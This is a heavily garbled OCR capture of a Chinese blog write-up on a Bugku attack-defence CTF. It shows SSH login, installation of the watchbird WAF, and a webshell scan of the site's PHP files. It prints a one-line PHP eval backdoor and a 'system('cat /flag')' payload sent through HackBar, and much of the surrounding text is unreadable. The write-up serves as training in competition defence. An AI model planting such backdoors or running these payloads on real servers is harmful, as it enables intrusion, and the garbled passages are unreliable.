CTF——AWDH R /PG

~Venus F 2021-11-04 22:51:15 KA 1782 e 29

SR LHE: Bugku XEFRS: cff awd BB

FRALE B ASCRE ERAICE, #IE_CC 4.0 BY-SA RN, HEFM BRSO s A S,
ACEERE: https://blog.csdn.net/weixin_46079186/article/details/121150813

KA

g ku ERBFZAE
: Bug ku EREWFIZHE

8 EOITH

TSR

A3 Phbugku? & awdilb k'S
awd LLFEF &

—- Bifl CHL3EIT 464 305 B MBS 1A )

1. HSEITFRBEI—A> AL, WTER ssh AP BMEN, &FEM ip

FeRdE: 3008k
® %10
IPEE5: 187~ WMl e e SR 35.212 53
%7 team10:b2a5479730fd322a87cbbdd51511cfe2 «=—— e
/ / Zarflag =REMtoken
eIy Token:5f5c1aaf1bd7bb4edal640ff3687b7d2

EEHNP:192-168-1-192.awd.bugku.cn
Hifthi%Fitiht59192-168-1-X.awd.bugku.cn. BREiHOBSAI SSH 12222
PWNi#%[19999

0 flag E

-
Api:https://ctf.bugku.com/awd/submit.ntml?token=[token]&flag=[flag] " fszflag =

CSDN @~ Venus

2. RIERAIssh EEBATEIM, XBRIEFMHEH xshell BLE xftp MM, TFxshell Frg—AERE, SAMMNGER

bugku/EfE ? X
9 ESEHLP
2230(C):
=4
BEFR(N): bugku

TS (P): SSH / v B


https://blog.csdn.net/weixin_46079186
https://blog.csdn.net/weixin_46079186/category_10691818.html
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=awd&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2594%25BB%25E9%2598%25B2&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_46079186/article/details/121150813
https://blog.csdn.net/weixin_46079186/category_10691818.html
https://ctf.bugku.com/awd.html

_____ SFTP FHH): 192-168-1-192.awd.bugku.cn|
- TELNET wmHE(0): 2222 =
~RLOGIN
% l:l ~ D): s
e il ssh iw[]
o e
LT $E EEiEE
AR [ EzesTnaaEmeEa)
=M
& EIE(V): 0 S FREI(L): 0 | e
%Hj - -
B AR
- BRER TCPiEIR
u@i@
= (] fEFENagleEG%(U)
= M4SN
-~ X/YMODEM
~ZMODEM BRI
Lo B=Fj] O IPv4 O IPve
=iz S
°S i="/enus
HENAPLEEFN, R SHERE
bugku/Eit%t ? X
231(C): -
= P EHR3SIIE . L N
_____ moym— RS ERIE TS,
- SR FRLBESLITESERERME, B2, AT A RERESR , MIRENESEE, B
=1 SSH S BB BR =S,
----- 3]
..... SFTP FAFsEU): team10
;il&::BElL EE{P} S80SO RORRRRRRRRRRERBERBRRRRY
- FE(M): Password IBE(S)
- GREERIAE (] Public Key
R (] Keyboard Interactive
Sl (] GSSAPI
i_zfit (J PKCS11 ()
B Qcap S—
&0 o
- 22t
=
-l
T
B




- S
- X/YMODEM

i  om= L e

2N ERMNEEATE, xftp %M (HK: FEERMp T EHCH

W 192.168.1.104 - Xshell 7 (Free for Home/School)
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r centos7?

1192.168.1.104
Xshell 7 (Build 06049)

Copyright (c) 2020 NetSarang Computer, Inc. ALl rights reserved.

Type “help' to learn how to use Xshell prompt.
[C:\~1%

Connecting to 192.168.1.104
ction establis .
To e pe to local shell, press 'Ctrl+Alt+]'.

ERURIE The remote SSH server
Welcome to Ubuntu 14.04 LTS (GNU,

* Documentation: https://help.ubuntu.com/

The programs included with the Ubuntu system are fr software;
ct distribution terms for h program are cribed in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/do opyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Could not chdir to home directory /home/ctf: No such file or directory

s

sshy//ctf@192.168.1.104:2201 SSH2  xtbeml) | s di2 11 B2,
EERIEWT

N NarmwwwBhtmISCHE T8 TR (H IR PR BALE B, BF REFET %)

F R RID B A

L 192.168.1.104 - Xftp 7 (Free for Home/School) - O X

IHHF) #EE(E) &EB(V) @S0 TEM sHFOMW) #HBEH)

+ - s - - ot \g\[) -



[

9 68 04

""."F.ﬁﬁ ~ (= =~ = - [ pvarjwww SRR
2R . PN =] XA =R . Foh sem I =
- B REFoUgE .
EH=5IE Egoris LU = it 2021/3/31,15:27 Irwq
s i Egerirs Phl  EmEmAEE) it 2015/10/15, 18:02 drw]
b W FFEE BEIQ) . ‘
100#SRCAEL S i 2020/12/13, 9:46 170) AEhtmIsE, SHEEnLA R A
bugku3 it 2021/2/22, 20:21 [ —
bugku4 it 2021/3/5, 11:12
CTFTEAE ST 2016/11/22, 23:31 |0
DIE i 2021/2/22, 19:05 HER5(P)
myucms it 2021/2/19, 19:53 SHIEEE(Y)
¥ OneDrive FEHFIEE 2021/3/16, 19:31 BREM)
pythonTgzEila TitE 2021/3/2,19:33 (D)
sqBbEA it 2021/3/17, 13:42 EECR(H)...
Tor Browser pra =2 2021/1/28, 20:28
—EAD ST 2021/3/24, 19:55 FEN) ?
3 pralaes 2021/3/25,13:18 b EHER) 9
EIR & HE Fh AHUEREE <-> ImiEERE HE it
html iz ) [T 7.25Me/7.25ME C\Users\29594\Deskt.. ¥+  192.168.1.104:/var/www/... 387.27 KB/s 00:00
< ) >
Bl 192.168.1.104:2201. SiE 10EE CSDN Gypenus

3. html fFITERZ G, BATLAARINE waf , XERAKRER waf(watchbird ) CREEN B, AR TERHD .
waf MIEFER:
1 REERINRE, BN b RO, BRATTURBHARLE TR ZAFKERERNEAB G S, R

fimHE, ROMTUEERE, EHNARNIEHETR.

2N E TR, BT — &0k (—BIBR T RANREE X R
Fff Ewatchbird P (3 F#RE)
XOBREEITAGT, HEFMEI MM BFET

* [ rwafERs\watchbird

B - PN

. i

html i

J functions.php 476Bytes PHP XX
" SimpleMonitor_64 4.16MB %
Jwaf.so 16KB SO 3T#F

| watchbird.php 489KB PHP 2%
= ERMAT 624 Bytes TAZRY

BE

B s = oS

1ERUATE

2021/10/30, 10:54
2021/10/30, 12:13
2021/10/20, 17:30
2021/6/19, 19:58

158(T)

BAZII(Q)

SRR AIE(A)

1E File BIREERFIIIX)

I3 (0)

[eliEicik g

© iFhiE watchbird zip”

© FhnE'watchbird.7z"

O IR RS/ zip " (E)

© IFMBEE (Bandizip)(B)...
SHITEEIHA)

[EE=1

B BIQQAESEIFI
BIEFN)
=10

BIERRETE(S)
HHER(D)
ESEM)

JBIER)

- = |7 /app B
BIR Juh A fEREAIE J=iE3 B
images prei=23 2021/11/4, 21:32 drwxrwxr. n
js prei=23 2021/11/4, 21:32 drwxrwxr. n
less STigEE 2021/11/4, 21:32 drwxrwxr.. n
Wopop_files e 2021/11/4, 21:32 druxrwer.. n
Ja.php 52 Bytes PHP 3745 2021/11/4, 21:32 TWXTWXTWX It
labout.php 5KB PHP 3745 2021/11/4, 21:32 TWXTWXTWX It
HBbowerjson 1KB JSONIZiF  2021/11/4,21:32 FWXIWXPWX T
I config.php 338 Bytes PHP 3Zit 2021/11/4, 21:32 TWXIWXIWX T
| contact.php 3KB PHP Iz 2021/11/4, 21:32 TWXTWXIWX T
Idocker.sh 120 Bytes SH 3745 2021/11/4, 21:32 ~TWX------ n
& flag.py 987 Bytes JetBrains ... 2021/11/4,21:32 P n
Ifooter.php 2KB PHP 374 2021/11/4, 21:32 TWXTWXTWX T
[ qulpfile js 4KB PhpStorm... 2021/11/4,21:32 PWXPWXIWX T
“Iheader.php 3KB PHP 3z 2021/11/4, 21:32 TWXTWXIWX T
lindex.php 5KB PHP 3T 2021/11/4, 21:32 TWXTWXIWX Tt
llogin.php 3KB PHP 37 2021/11/4, 21:32 WXrWXIWX T
Blpackage json 665 Bytes JSONXZff  2021/11/4,21:32 STWXIWXIWX T
Irun.sh 290 Bytes SH 37iF 2021/11/4, 21:32 ~PWX------ n
Isearch.php 818 Bytes PHP 3Zit 2021/11/4, 21:32 STWXTWXTWX T
Iservices.php 5KB PHP 374 2021/11/4, 21:32 TWXTWXTWX 1
Isingle.php 10KB  PHP 374 2021/11/4, 21:32 TWXTWXTWX T
[Mtest.sql 3KB SQLFile 2021/11/4, 21:32 WXOWXIWX T
HE 1t .. E2TE

E#] xshell , ERM LA Twaf ERT, MHA4 php watchbird.php --install /var/www/html
XS ES A php T EE S B EAT K waf


https://github.com/leohearts/awd-watchbird

¢ 1s

Wopop_ files bower.json data gulpfile.js js run.sh test.sql
a.php config.php docker.sh header.php less search.php waf.so
about.php contact.php flag.py images login.php services.php ~watchbird.php
admin Ccss footer.php index.php package.json single.php

$ php watchbird.php --install /var/www/html

Jvar/www/html/.a.php

/var/www/html/a.php

Jvar/www/html/about.php

Jvar/www/html/admin/footer.php

/var/www/html/admin/header.php

Jvar/www/html/admin/index.php

/var/www/html/admin/logout.php

Jvar/www/html/admin/upload/1532851316.php

/var/www/html/admin/upload.php

Jvar/www/html/config.php

/var/www/html/contact.php

Jvar/www/html/footer.php

Jvar/www/html/index.php

Jvar/www/html/login.php

Jvar/www/html/search.php

/var/www/html/services.php

Jvar/www/html/watchbird. php

$ 1

SHEFIZE  ErEHIN CSDN @- Venus

4. B17waf ZJg, FTIFEANEIweb TiH, 7EERE—php RE/EHEHMA 2watchbird=ui , Bl Elwaf i E TR )G BB HD
(RARBEBEREEER B E - PMREREGE)

C @ 192.168.38.136:8801/index.php?watchbird=ui 3 I @O & B & ® @ i o ™ =y

P e e e o — — (i)
L]
—

/____& Password

B ITHEERS




EH T ZEm BT A &

= Watchbirdiz$le EE

waf_ddos
waf_special_char
waf_rce

waf_Ifi

waf_flag

debug

XOEFEERTRE, RXBACERT IR 2XE, El0GETETH, XTawd 7552, FIEAF

T B 1 waf_headers
1 waf _upload
IE B ™ waf sql
> =R I waf Idpreload
1 waf_unserialize
1 response_content _match
0 B EEIXARTEWebifEHEECrontab
flag_path
/flag

LDPRELOAD PATH
/var/www/html/waf. so

password_shal
Tc4a8d09ca3762af61e59520943dc26494£8941b

open_basedir

/

© 0 0 ©

REXEEEFEHE

= WatchbirdisHle B

] ficE flag_eye_to_eye BalE

B 8%

LA ANKEESHHEE g NEERENEBTEXE

rce_log B

TESBRERZE, BATEES— TFHE 8T RN html X
XOBEFABANTE, DE M seayERLH RS
DJ& T

T7IDE, BERBA)E]
BEREEZFETH

| T3] DB WebZ 5 v2.0.9 [k A£&25] http://www.d99net.net/

D/ Web B3 canam

flag_log EIEsET
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SRC IP: 192.168.38.1

GET/HTTP/1.1

Host: 192.168.38.136:8801

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Geck
0/20100101 Firefox/94.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/a
vif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;

q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate
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I [ C:\Users'29594 \Downloads\htnl\about. php 3 F4iSIA: [$_GET["file"]] 4739 2018-09-1 ‘
D C:\Users'29594 \Dowrl oads\html\config php iapkesie, YritEifaniis A [!_’r}i"i!ﬁ_BEQlEST['c']} 338 2018-09-1
[ C: \Users\29594\Downloads\htnl \footer. php g’. SZRXMAHEEMRCRIFR B {284:9_P0ST[“shell”]} 1569 2016-09-1
[J C: \Users\29594 \Downloads\html\index. php ! {Z30: $_REQUEST["aa"]} 5535 2015-09-1
| [ C:\Users\29594\Downloads\html\admin\footer. php 4 (M) systenf5i] {E#1:$_POST["shell"]} 351 2018-09-1
I [ C:\Users\29594\Downl oads\html \adnin\header. php 4 (AR execEi] [B81:$ cET["p"]} 2929 20158-09-1 |
| C:\Users129594 \Downl oads\html\admin\upload\ 1532851316, php 1 ER=:phpinfel) 19 2018-09-1 |
i |
| |
i
ISP 89 A 9 RMER: s A 0. 068 CSDI@=Venus.:
RIEMRHITEBET, WWE—A a.php
BAEXftp _EXF XA AT B
= |7 Iwaf\EF\watchbird v ~ B G|~ =~ =3 /5pp v -
- Fuhh 2R {EpeRtE BIR Foh 2R =
TiEE less ITEEE 202
ml g === 2021/10/30, 10:54 Wopop_ﬁV rgla==23 202
nctions.php 476 Bytes PHP 3Z{% 2021/10/30, 12:13 «Ja.php 52 Bytes PHP 3Z{¥ 202
npleMonitor_64 4.16MB ITF 2021/10/20,17:30 ) about.php &5 (T) SKB PHPI{F 202
if.s0 16KB SO 3zft 2021/6/19, 19:58 Elvowerjson REEIRGASASE(F) 1KB JSONZF 202
ytchbird. php 4B9KB PHP 3zi% 2021/10/28, 10:11 < config.php BAZI(Q) 338 Bytes PHP 3i% 202
FAAFASE.xt 624 Bytes AR 2021/10/29, 0:55 ) contact.php FTFHO) 3KB PHPIZi$ 202
) docker.sh 120 Bytes  SH 3244 202
& flag.py 987 Bytes letBrains.. 202
) footer.php I 2KB  PHP 3zfg 202
D gulpfile.js 4(P) 4KB PhpStorm... 202
) header.php SHEEEY) 3KB PHP 3z 202
~Jindex.php 5KB PHP {5 202
Z)login.php BEaE(M) 3KB PHPIZiF 202
Bl package.json HHFR(D) 665 Bytes JSONIZ{E 202
< run.sh ERHFR(H). .. 290 Bytes SH 30f% 202
~search.php 818 Bytes PHP 3zt 202
] services.php ] ’ 5KB PHP 3Z{& 202
NP D T Eﬁ(R} AnlFn PN PriEe Ann
=
Lreiss HE F AIEREE <-> TSR EE hitHs.. SRR
CSDN @~ Venus
EHlphp —HiEARD, HEEX—BMBRE, SEBEMNA echo “KBIE”; BXERERERIT, KK LEB#HBEK



& raphp-id==£

3HF)  #EE(E) 1EFU(0)

ME(V) #FEEHH)

<?php include once '/app/watchbird.php’; 7>

?>

il @eval($ REQUEST['c']);
ar_ dump($_SERVER);
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@ search. php
-8 services. php
~1# single. php
-l test.sql

& admin
-3l ess

(-8 data

-8 images
w3l js

(-8 less

-8 Wopop_files

—. B

BMEHEADERRTENT, BRINXEFER —AERSJE]

e e

. I v

. . PN

[P N . PN P e (ORI

CS5DN @~ Venus

[ e

search

> O ===

Frenuntinn «

il

Fnending +

D EtaE N mE () FmEs

|01

Q. e B &E

~ XSS+ IFl« XXF . Other~

SEAFARING

RAVEL

AGENCY

9 KRS 5% WAEESF @ HackBar [ | EditThisCookie gy Max HackBar <& HackTools

R

(' 13

v

4] - X

©FH=/\E- ITEa/ chth HarkRar v2



ey s N —— P — cream o UM e L A e T

i@ Load URL http://192.168.38.136:8801/a.php

4 spitURL
») Execute
Postdata [] Referer [ User Agent [ Cookies Clear All
ADD """

c=system('cat /fl

A] LAE B2 EL T flag

8df84fe6d62¢c5b0ed6ec2d93c9359491 P

array (size=35) —

"HTTP_HOST' =»> string '192.168.38.136:8801"' (length=13)

"HTTP_USER_AGENT' => string 'Mozilla/5.0 (Windows NT 10.0; Winé4; =64; rv:34.0) Gecko/20100101 Firefox/94.0' (length=78)
'"HTTP_ACCEPT' => string 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,*/*;g=0.8"' (length=85)
'HTTP ACCEPT LANGUAGE' => string 'zh-CN,zh;g=0.8,zh-TW;g=0.7,2zh-HEK;q=0.5,8n-US;g=0.3,en;q=0.2" (length=59)
"HTTP_ACCEPT ENCODING' => string 'gzip, deflate' (length=13)

"CONTENT TYPE' => string 'application/z-www-form-urlencoded' (length=33)

"CONTENT LENGTH' => string '34' (length=2)

"HTTP_ORIGIN' => string "http://192.168.38.136:8801"' (length=26)

"HTTP_CONNECTION' => string 'keep-alive' (length=10)

"HTTP_REFERER' => string 'http://192.168.38.136:8801/" (length=27)

"HTTP_COOKIE' => string 'PHPSESSID=1femféknfibrfOcmpb5j8gkrl4" (length=36)

"HTTP_UPGRADE INSECURE REQUESTS' => string 'l' (length=1)

"PATH' => string '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"' (length=60)
"SERVER_SIGNATURE' => string '<address>AEpache/2.4.7 (Ubuntu) Server at 192.168.38.136 Port 89801</address>
(length=76)

"SERVER_SOFTWARE' => string 'Apache/2.4.7 (Ubuntu)' (length=21)

"SERVER_NAME' => string "192.168.38.136' (length=14)

"SERVER_ADDR' string '172.17.0.2' (length=10)

' SERVER_PORT' string '8801' (length=4)

"REMOTE_ADDR' string '192.168.38.1' (length=12)

"DOCUMENT ROOT' => string '/var/www/html' (length=13)

o O=ms Oeea O&Edts NRE (Jaeses Qs e B e 1 SESHE 35 WEEs @ HackBar [ | EditThisCookie  ffy Max HackBar 4

Encryption + Encoding~ SQL~ XSS~ LFlI~ XXE~ Other~

@) Load URL http://182.168.38.136:8801/a.php

% spiturL
) Execute .
Postdata [] Referer [] User Agent [] Cookies Clear All
ADD"f"

c=system('cat /flag');
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X T flag BATRIEFRAE— T RATWwaf EHEEIMERE
KB REAMEGE,

Watchbirdiz#le B&

* e vif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5,en-US; flag_log BnEsr
q=0.3,en;q=0.2

|E A% Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 34

> =18 Origin: http://192.168.38.136:8801
Connection: keep-alive
Referer: http:/192.168.38.136:8801/
Cookie: PHPSESSID=1femféknfibrf0cmpb5j8qkri4
Upgrade-Insecure-Requests: 1

c=system%28%27 cat+%2Fflag%27%29%3B

rce_log EE web_log SRIEED

[14:35:14]

SRC IP: 192.168.38.1

POST /a.php HTTP/1.1

Host: 192.168.38.136:8801

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Geck
0/20100101 Firefox/94.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,imagefa
vif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;
q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded CSDN @~ Venus
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5225cm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D &request_id=16360362261678026257
0783&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2pjogfirst_rank_v2~rank_v29-1-
118254922.pc_v2_rank_blog_default&utm_term=awd&spm=1018.2226.3001.4450
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